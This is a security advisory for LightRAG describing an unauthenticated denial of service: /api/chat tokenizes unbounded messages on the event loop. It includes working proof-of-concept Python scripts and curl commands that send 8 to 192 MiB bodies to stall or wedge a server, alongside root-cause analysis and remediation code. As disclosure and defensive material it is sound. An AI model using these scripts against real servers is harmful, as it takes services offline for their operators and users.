GHSA-R8JH-295G-VV42
Unauthenticated denial of service: `/api/chat` tokenizes an unbounded message on the event loop
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 1.5.6 | lightrag-hku · -3 d desde divulgación | |
| Divulgación | Publicada | GHSA-R8JH-295G-VV42 divulgada · CVSS 7.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`POST /api/chat` accepts a chat message of unlimited length and hands it straight to tiktoken's encoder on the asyncio event loop. The encode is a plain synchronous call — no thread, no executor — so while it runs, the server answers nothing at all: not `/health`, not another user's query.
The cost is linear in the body the caller chooses, roughly 0.5 s per MiB. One request with a 64 MiB body takes the whole server offline for 66 seconds. At 192 MiB the process climbs to about 2 GB RSS and never comes back; it has to be restarted. The client can disconnect immediately after sending — the server doesn't notice and keeps encoding.
Two things make this worse than an ordinary large-body issue. The endpoint needs no credentials under the shipped default `WHITELIST_PATHS=/health,/api/*`, so this works against a server with `LIGHTRAG_API_KEY` configured. And `MAX_REQUEST_BODY_BYTES` cannot be configured to stop it: that ceiling is enforced only for three ingestion paths, and `/api/chat` isn't one of them. With a 1 MiB ceiling active, an 8 MiB body to `/documents/text` is rejected before it reaches the handler, while an 8 MiB body to `/api/chat` is accepted and stalls the server.
Affected component
The message field is unbounded — `content` is a bare `str` and `messages` an unbounded list (`lightrag/api/routers/ollama_api.py:29-37`):
class OllamaMessage(BaseModel):
role: str
content: str # no max_length
images: Optional[List[str]] = None
class OllamaChatRequest(BaseModel):
model: str
messages: List[OllamaMessage] # no length capThe sink is synchronous (`ollama_api.py:160-163`):
def estimate_tokens(text: str) -> int:
"""Estimate the number of tokens in text using tiktoken"""
tokens = TiktokenTokenizer().encode(text) # blocking CPU, on the event loop
return len(tokens)It is called from the async handler with the attacker's string (`ollama_api.py:481`, `:503`, `:515`):
async def chat(raw_request: Request):
request = await parse_request_body(raw_request, OllamaChatRequest) # :489
...
query = messages[-1].content # :503
...
cleaned_query, mode, only_need_context, user_prompt = parse_query_mode(query) # :510
start_time = time.time_ns() # :514
prompt_tokens = estimate_tokens(cleaned_query) # :515The route declares `dependencies=[Depends(combined_auth)]` (`ollama_api.py:478-480`), but that dependency returns before checking anything when the path is whitelisted (`lightrag/api/utils_api.py:417-418`):
if path_is_whitelisted(request.scope):
return # Whitelist path, allow accessand the shipped default whitelists the entire Ollama surface (`lightrag/api/config.py:781`):
args.whitelist_paths = get_env_value("WHITELIST_PATHS", "/health,/api/*")The body ceiling added in 1.5.5 applies to three paths only (`lightrag/api/admission_middleware.py:45-49`, `:163-166`):
ADMISSION_PATHS: tuple[str, ...] = (
"/documents/upload",
"/documents/text",
"/documents/texts",
)
def _is_admission_path(self, scope: dict[str, Any]) -> bool:
if scope.get("method") != "POST":
return False
return get_route_path(scope, self._api_prefix) in ADMISSION_PATHS`MAX_REQUEST_BODY_BYTES` is only consulted downstream of that gate, so no value of it bounds `/api/chat` or `/query`.
Root cause
POST /api/chat, no credentials, 64 MiB body
→ combined_auth dependency
path_is_whitelisted("/api/chat") is True under the default → returns, nothing checked (utils_api.py:417-418, config.py:781)
→ AdmissionMiddleware
"/api/chat" not in ADMISSION_PATHS → MAX_REQUEST_BODY_BYTES never applied (admission_middleware.py:163-166)
→ await request.json() buffers the entire body in memory (ollama_api.py:140)
→ OllamaChatRequest validates: content is a bare str, no max_length (ollama_api.py:29-32)
→ estimate_tokens(cleaned_query) → TiktokenTokenizer().encode(text), synchronous (ollama_api.py:515 → :160-163)
→ the coroutine never yields for the duration of the encode
→ single-threaded event loop is held; every other request, including /health, waitsThree independent bounds are missing on the same path: the field has no maximum, the route has no body ceiling, and the CPU-bound call has no executor hand-off. Any one of them would contain the damage.
PoC
Part A drives the sink directly and needs nothing but the package — it shows the cost is synchronous and attacker-scaled. Part B is the end-to-end on a running server.
Setup
git clone https://github.com/HKUDS/LightRAG
cd LightRAG
git checkout 22ea2d0cbfa2b7002aa118bd0bf1780a69d489bc
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -e ".[api]"Part A — the encode is synchronous and scales with the caller's input
# profile_sync.py
import time
from lightrag.api.routers.ollama_api import estimate_tokens, parse_query_mode
for mb in (1, 4, 16, 24):
s = "B" * (mb * 1024 * 1024)
t0 = time.time()
cleaned, mode, onc, up = parse_query_mode(s)
t_parse = time.time() - t0
t0 = time.time()
n = estimate_tokens(cleaned)
t_tok = time.time() - t0
print(f"{mb:>3} MB | parse_query_mode {t_parse:7.3f}s | "
f"estimate_tokens {t_tok:7.3f}s | tokens={n}") 1 MB | parse_query_mode 0.000s | estimate_tokens 0.545s | tokens=262144
4 MB | parse_query_mode 0.000s | estimate_tokens 1.243s | tokens=1048576
16 MB | parse_query_mode 0.000s | estimate_tokens 7.506s | tokens=4194304
24 MB | parse_query_mode 0.000s | estimate_tokens 11.736s | tokens=6291456About 0.5 s per MiB, linear, all of it inside `estimate_tokens`. Nothing in this call yields to the loop. The first measured row also absorbs tiktoken's one-time BPE table load, so it is the noisy one — on a second run it reads 1.545 s while the 16 and 24 MiB rows stay at 6.764 s and 11.859 s.
Part B — one unauthenticated request stalls the whole server
1. Offline LLM backend. Answers instantly, so every second measured is LightRAG's own CPU rather than model latency:
# mock_llm.py
import hashlib, json, time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
DIM = 32
def _vec(text):
h = hashlib.sha256(text.encode("utf-8", "replace")).digest()
return [((h[i % len(h)] / 255.0) * 2 - 1) for i in range(DIM)]
class Handler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, *a): pass
def _json(self, obj, code=200):
body = json.dumps(obj).encode()
self.send_response(code)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
if self.path.rstrip("/").endswith("/models"):
self._json({"object": "list", "data": [{"id": "mock", "object": "model"}]})
else:
self._json({"ok": True})
def do_POST(self):
n = int(self.headers.get("Content-Length") or 0)
raw = self.rfile.read(n) if n else b""
try:
payload = json.loads(raw or b"{}")
except Exception:
payload = {}
if "embeddings" in self.path:
inp = payload.get("input") or [""]
if isinstance(inp, str):
inp = [inp]
self._json({"object": "list", "model": "mock-embed",
"data": [{"object": "embedding", "index": i, "embedding": _vec(str(t))}
for i, t in enumerate(inp)],
"usage": {"prompt_tokens": 1, "total_tokens": 1}})
return
self._json({"id": "chatcmpl-mock", "object": "chat.completion",
"created": int(time.time()), "model": "mock",
"choices": [{"index": 0, "finish_reason": "stop",
"message": {"role": "assistant", "content": "MOCKLLM_ANSWER"}}],
"usage": {"prompt_tokens": 1, "completion_tokens": 1, "total_tokens": 2}})
ThreadingHTTPServer(("127.0.0.1", 11435), Handler).serve_forever()2. `.env` — an API key is set, and the body ceiling is turned on at 1 MiB. `WHITELIST_PATHS` is left exactly as shipped:
HOST=127.0.0.1
PORT=9621
WORKING_DIR=./rag_storage
INPUT_DIR=./inputs
LIGHTRAG_API_KEY=testkey123
WHITELIST_PATHS=/health,/api/*
LLM_BINDING=openai
LLM_BINDING_HOST=http://127.0.0.1:11435/v1
LLM_BINDING_API_KEY=mock
LLM_MODEL=mock
EMBEDDING_BINDING=openai
EMBEDDING_BINDING_HOST=http://127.0.0.1:11435/v1
EMBEDDING_BINDING_API_KEY=mock
EMBEDDING_MODEL=mock-embed
EMBEDDING_DIM=32
MAX_ASYNC=2
EMBEDDING_FUNC_MAX_ASYNC=2
TIMEOUT=30
LOG_LEVEL=INFO
MAX_REQUEST_BODY_BYTES=10485763. Start both: `python mock_llm.py &` then `lightrag-server`.
4. The endpoint takes no credentials. No `X-API-Key` header on any of these:
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:9621/documents/text \
-X POST -H "Content-Type: application/json" -d '{"text":"hello"}'
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:9621/query \
-X POST -H "Content-Type: application/json" -d '{"query":"hi","mode":"naive"}'
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:9621/api/chat \
-X POST -H "Content-Type: application/json" \
-d '{"model":"lightrag:latest","messages":[{"role":"user","content":"hi"}],"stream":false}'403
403
200`/documents/text` and `/query` require the key. `/api/chat` does not.
5. The 1 MiB ceiling does not cover it. Same 8 MiB payload, two routes:
python - <<'EOF'
import json, time, urllib.error, urllib.request
BASE, KEY, MB = "http://127.0.0.1:9621", "testkey123", 8
filler = "B" * (MB * 1024 * 1024)
def post(path, body, key=None):
req = urllib.request.Request(BASE + path, data=body, method="POST")
req.add_header("Content-Type", "application/json")
if key: req.add_header("X-API-Key", key)
t0 = time.time()
try:
with urllib.request.urlopen(req, timeout=300) as r:
return r.status, time.time() - t0
except urllib.error.HTTPError as e:
return e.code, time.time() - t0
except Exception as e:
return f"ERR:{type(e).__name__}", time.time() - t0
print("AUTH /documents/text ->", post("/documents/text", json.dumps({"text": filler}).encode(), KEY))
print("UNAUTH /api/chat ->", post("/api/chat", json.dumps(
{"model": "lightrag:latest", "messages": [{"role": "user", "content": filler}],
"stream": False}).encode()))
EOFAUTH /documents/text -> (413, 0.0085)
UNAUTH /api/chat -> (200, 6.1)The covered path is rejected in 8 ms, before the handler ever sees the body. The uncovered, unauthenticated path accepts all 8 MiB and spends six seconds on it. (Occasionally the 413 arrives while the client is still writing and the client reports a connection reset instead — same rejection, same 8 ms.)
6. One 64 MiB request, polling `/health` every 250 ms:
# single_stall.py
import json, sys, threading, time, urllib.request
BASE = "http://127.0.0.1:9621"
MB = int(sys.argv[1]) if len(sys.argv) > 1 else 64
PROBE_TIMEOUT = 2.0
done = threading.Event()
outcome = {}
def attacker():
body = json.dumps({
"model": "lightrag:latest",
"messages": [{"role": "user", "content": "B" * (MB * 1024 * 1024)}],
"stream": False,
}).encode()
req = urllib.request.Request(BASE + "/api/chat", data=body, method="POST")
req.add_header("Content-Type", "application/json")
t0 = time.time()
try:
with urllib.request.urlopen(req, timeout=900) as r:
outcome["code"] = r.status
r.read(50)
except Exception as e:
outcome["code"] = type(e).__name__
outcome["secs"] = time.time() - t0
done.set()
def probe():
t0 = time.time()
try:
with urllib.request.urlopen(BASE + "/health", timeout=PROBE_TIMEOUT) as r:
r.read(30)
return time.time() - t0
except Exception:
return -1.0
print(f"baseline /health: {probe():.3f}s")
print(f"one UNAUTHENTICATED /api/chat, body = {MB} MiB\n")
t_start = time.time()
threading.Thread(target=attacker, daemon=True).start()
bad_from = bad_to = None
samples = bad = 0
while not done.is_set() and time.time() - t_start < 900:
lat = probe()
now = time.time() - t_start
samples += 1
if lat < 0 or lat > 1.0:
bad += 1
if bad_from is None:
bad_from = now
bad_to = now
time.sleep(0.25)
done.wait(timeout=300)
print(f"request completed: {outcome.get('code')} in {outcome.get('secs', -1):.1f}s")
print(f"probes: {samples}, degraded/timed-out: {bad}")
if bad_from is not None:
print(f"server unusable from t+{bad_from:.1f}s to t+{bad_to:.1f}s "
f"=> stall window ~{bad_to - bad_from:.1f}s")`python single_stall.py 64`:
baseline /health: 0.034s
one UNAUTHENTICATED /api/chat, body = 64 MiB
request completed: 200 in 68.9s
probes: 32, degraded/timed-out: 30
server unusable from t+2.4s to t+68.2s => stall window ~65.7s`/health` answers in 34 ms normally. During the request, 30 of 32 probes either exceeded a second or timed out entirely — 66 seconds of continuous unavailability from one request that carried no credentials. A repeat run lands in the same place: 73.1 s for the request, a 70.5 s stall window, 32 of 34 probes degraded.
7. Escalation. Restart the server before this step — step 6 leaves it degraded, and the figures below are from a freshly started process. The same request at 16, 64 and 192 MiB, watching resident memory (`pip install psutil`). Resolve the server by its listening socket rather than by command line — the console-script shim and any shell whose command line contains the venv path both match a name filter, and neither is the interpreter doing the work:
# escalation.py
import json, time, urllib.error, urllib.request
import psutil
BASE = "http://127.0.0.1:9621"
def server_proc(port=9621):
for c in psutil.net_connections(kind="inet"):
if c.status == psutil.CONN_LISTEN and c.laddr and c.laddr.port == port and c.pid:
try:
return psutil.Process(c.pid)
except psutil.NoSuchProcess:
pass
return None
def rss_mb(p):
try:
return p.memory_info().rss / 1024 / 1024
except Exception:
return -1
proc = server_proc()
print("server pid:", proc.pid if proc else "NOT FOUND")
base_rss = rss_mb(proc) if proc else -1
print(f"baseline RSS: {base_rss:.1f} MB")
for mb in (16, 64, 192):
body = json.dumps({
"model": "lightrag:latest",
"messages": [{"role": "user", "content": "A" * (mb * 1024 * 1024)}],
"stream": False,
}).encode()
req = urllib.request.Request(BASE + "/api/chat", data=body, method="POST")
req.add_header("Content-Type", "application/json") # no credentials
t0 = time.time()
try:
with urllib.request.urlopen(req, timeout=120) as r:
code = r.status
r.read(200)
except urllib.error.HTTPError as e:
code = e.code
except Exception as e:
code = f"ERR {type(e).__name__}"
dt = time.time() - t0
cur = rss_mb(proc) if proc else -1
print(f"unauth /api/chat body={mb:>4} MB -> {code} {dt:5.1f}s "
f"RSS now {cur:7.1f} MB (delta {cur - base_rss:+.1f})")
del body
time.sleep(3)
print(f"\nfinal RSS: {rss_mb(proc):.1f} MB (baseline {base_rss:.1f})")baseline RSS: 257.1 MB
unauth /api/chat body= 16 MB -> 200 18.9s RSS now 307.8 MB (delta +50.7)
unauth /api/chat body= 64 MB -> 200 88.1s RSS now 154.4 MB (delta -102.7)
unauth /api/chat body= 192 MB -> ERR TimeoutError 120.9s RSS now 1392.1 MB (delta +1135.0)
final RSS: 1994.7 MB (baseline 257.1)At 192 MiB the client gave up at 120 s; the server kept going. RSS settled near 2 GB, and `/health` returned nothing for the remainder of the observation — checked at 30–45 s intervals to 90 s past the client's disconnect, and past 291 s in a separate run. The process needs a restart. Because the server does not observe the client hanging up, the request costs the attacker one TCP connection and nothing else.
Run against a server that has already absorbed step 6 instead of a fresh one and it degrades earlier: the 64 MiB request alone stops returning (client timeout at 124 s) and RSS peaks above 3 GB. The figures above are the gentler case.
These figures come from a freshly initialised instance with a single small document indexed. On a populated instance the request continues into the retrieval path, which runs further synchronous encode passes over the same input, so the stall grows accordingly — the numbers above are a floor, not a ceiling.
Evidence
- The stall is not specific to `/api/chat`. With the whitelist narrowed so `/api/*` requires credentials, an authenticated 8 MiB `/query` still blocks the loop, because `kg_query` encodes the keyword prompt at `lightrag/operate.py:4507` before retrieval runs:
```
AUTH /query, body = 8 MiB, per mode
mode=naive -> 200 in 0.2s
mode=local -> 200 in 4.4s
mode=global -> 200 in 3.6s
mode=hybrid -> 200 in 3.6s
mode=mix -> 200 in 3.9s
```
`naive` returns early on an empty retrieval and never reaches a tokenizer; the four graph modes do. Fixing the whitelist therefore narrows who can trigger this, but does not remove it.
- Additional synchronous encodes on the same request path, each over caller-influenced text: `lightrag/operate.py:4213` (`query + sys_prompt`), `:5228` (`query`), `:6145`.
- Deployment shape decides the blast radius. The documented default is a single uvicorn process, which loses all service. `lightrag-gunicorn` loses one worker per concurrent request.
Impact
Any host that can reach the HTTP port can make a LightRAG server unavailable, with no credentials, no account, and no prior knowledge of the deployment. A single request is enough; there is no flood to detect and rate-limiting by request count does not help, because the lever is the size of one body rather than the number of requests.
Recovery is not automatic at the top of the range. A 192 MiB body leaves the process wedged at roughly 2 GB RSS and unresponsive until an operator restarts it, so a single unauthenticated request converts into an outage that persists until someone intervenes. Repeating it defeats a supervisor's restart loop.
The default configuration is the vulnerable one. An operator who has set `LIGHTRAG_API_KEY`, seen `/documents/*` and `/query` correctly return 403, and enabled `MAX_REQUEST_BODY_BYTES` has done everything the configuration surface offers and is still exposed.
Remediation
Any one of these stops the bleeding; all three are worth having, since they fail independently.
1. Bound the field. Reject oversized messages during validation, before any tokenizer runs (`ollama_api.py:29-37`):
from pydantic import Field, field_validator
MAX_MESSAGE_CHARS = 128 * 1024 # generous for chat; ~32k tokens
MAX_MESSAGES = 128
class OllamaMessage(BaseModel):
role: str
content: str = Field(max_length=MAX_MESSAGE_CHARS)
images: Optional[List[str]] = None
class OllamaChatRequest(BaseModel):
model: str
messages: List[OllamaMessage] = Field(max_length=MAX_MESSAGES)
@field_validator("messages")
@classmethod
def _bound_total(cls, v):
if sum(len(m.content) for m in v) > MAX_MESSAGE_CHARS:
raise ValueError("total message content too large")
return vThe aggregate check matters: without it, 128 messages of 128 KiB each rebuild the same payload.
2. Get the tokenizer off the event loop, so a large input degrades only its own request instead of the process (`ollama_api.py:160-163`):
import anyio
def estimate_tokens(text: str) -> int:
tokens = TiktokenTokenizer().encode(text)
return len(tokens)
async def aestimate_tokens(text: str) -> int:
return await anyio.to_thread.run_sync(estimate_tokens, text)Call `await aestimate_tokens(cleaned_query)` at `:515`, and give the same treatment to the encodes at `operate.py:4213`, `:4507`, `:5228` and `:6145`.
3. Make the body ceiling mean what its name says. `MAX_REQUEST_BODY_BYTES` reads like a global limit but covers three routes. Either apply it to every body-accepting route by inverting the gate at `admission_middleware.py:163-166` to an exclusion list, or rename it to reflect that it only governs ingestion and add a separate global cap. As it stands, an operator can set it and remain exposed on the one route that needs no credentials.
A regression test asserting that a message above the cap returns 413 rather than being tokenized would keep this from returning.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilightrag-hku |
Corregida | 1.5.6 | -3 d | 1.5.7 no afectada |
1.5.6Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/HKUDS/LightRAG/security/advisories/GHSA-r8jh-295g-vv42Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
